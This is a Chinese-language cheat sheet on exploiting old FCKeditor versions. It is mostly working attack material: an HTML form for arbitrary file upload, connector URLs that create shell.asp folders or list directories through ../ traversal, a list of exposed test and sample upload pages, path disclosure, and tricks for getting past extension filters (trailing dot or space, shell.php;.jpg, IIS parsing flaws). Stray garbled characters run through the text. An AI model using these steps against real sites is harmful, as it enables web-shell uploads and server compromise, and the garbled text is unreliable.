|
Fckeditor漏洞利用总结 查看编辑器版本4 t+ B6 f$ h9 U1 j! o
FCKeditor/_whatsnew.html6 Q. S: f: L- V5 A6 X6 v
————————————————————————————————————————————————————————————— 2. Version 2.2 版本
! ?3 ~' }5 X) r$ dApache+linux 环境下在上传文件后面加个.突破!测试通过。2 q# z9 O& @7 ?1 f( m0 B5 x( K2 J
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。8 {7 X& j* J8 G
<form id="frmUpload" enctype="multipart/form-data"6 `- U' E# t( A% k7 x7 H
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>" b' m& |+ y4 b1 ]& m+ e1 t) g
<input type="file" name="NewFile" size="50"><br>
& l% d. l7 F. G+ E# S<input id="btnUpload" type="submit" value="Upload">
" E) x; i" Y* Y9 o5 o; r3 I</form>
, B' `7 X, e0 R b# J1 q————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
2 x6 w; \6 s: c. h$ b4 z 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。/ e! e' y+ q: R3 [
4.1:提交shell.php+空格绕过* ^% t2 l7 V6 l, [
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。$ Y# l) k8 B( h% e3 {5 I
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
8 g3 w/ J. w* Y1 w$ o q————————————————————————————————————————————————————————————— 5. 突破建立文件夹8 ^- b! N% `9 M% ^
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
* c' e L1 r8 m6 K+ z+ p2 m4 `FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
8 c4 [& `: B k: X7 e" p3 l3 B————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
5 w" j+ r9 k2 K$ |FCKeditor/editor/filemanager/browser/default/connectors/test.html0 v4 X/ u+ `* q7 _+ C
FCKeditor/editor/filemanager/upload/test.html
! [5 \% T: q! e' y. n HFCKeditor/editor/filemanager/connectors/test.html$ N, K+ X- o9 g* b4 e0 K, \
FCKeditor/editor/filemanager/connectors/uploadtest.html
6 n2 r; p1 g+ z' b+ C—————————————————————————————————————————————————————————————
8 e# g( `. ?# V+ H, h( C% } 7.常用上传地址* j( B" s3 ]1 i" W, W
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/- v. w, ~- T% X
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
, v! X. c/ K4 b, S! Q% @1 L/ }FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
/ l# I4 C7 [$ Y# `JSP 版:) ~, q# H/ A& g" q! X
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
5 X5 U3 S( y7 [/ a7 v! Y注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文) W3 ^; ^2 C, R5 b7 u1 @; f
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。, w3 W6 S2 A7 ^
————————————————————————————————————————————————————————————— 8.其他上传地址: d0 B# I! A: P3 y
FCKeditor/_samples/default.html+ F& r4 {, ?$ o& G- a: e5 n/ t
FCKeditor/_samples/asp/sample01.asp! P- q, s f4 O w+ p' y( C/ J7 {( j
FCKeditor/_samples/asp/sample02.asp- p3 j8 Z' n g& {
FCKeditor/_samples/asp/sample03.asp1 J9 t* J h9 @
FCKeditor/_samples/asp/sample04.asp
/ S2 ?4 x4 X# \3 H一般很多站点都已删除_samples 目录,可以试试。% j1 u. ~6 @+ h7 ]& U7 Y W. w1 `
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
. f0 m& e3 ?* f: r' w" w. g9 ~————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址
6 b6 a- I' Q* i. S; k! M# QVersion 2.4.1 测试通过
% `& J; j" [' b @: j1 c% Y6 W/ Y修改CurrentFolder 参数使用 ../../来进入不同的目录6 t! s- g6 _ ?& `4 v: q
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& K3 f! t$ J: I% V& j1 S
根据返回的XML 信息可以查看网站所有的目录。
& l) v/ r# H' o: W b1 A' W" R" kFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
5 b2 v/ m3 j# V3 z4 h; W- r+ a也可以直接浏览盘符:. r9 X3 _, S$ Z3 i4 ~
JSP 版本:5 t( P* C% Y0 [* o
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
( T: v2 S0 t3 r————————————————————————————————————————————————————————————— 10.爆路径漏洞
$ [' _0 s! y8 ]# GFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
4 Q0 C0 }9 e5 h+ s————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题: I2 m' O" _* _8 C
影响版本: FCKeditor x.x <= FCKeditor v2.4.3+ m; u! v2 s7 W, O. F. J/ B# G
脆弱描述:
4 t2 S, j$ n: O% U2 EFCKeditor v2.4.3 中File 类别默认拒绝上传类型:! P$ c* y$ ~: d+ |7 G$ c
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm- }2 c) D3 U8 r" t5 v$ d; ?4 ^0 @ H
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]! _/ h# l7 Q l5 W; k
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
$ R; y) k, c- W% E0 @1 G3 [- L 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |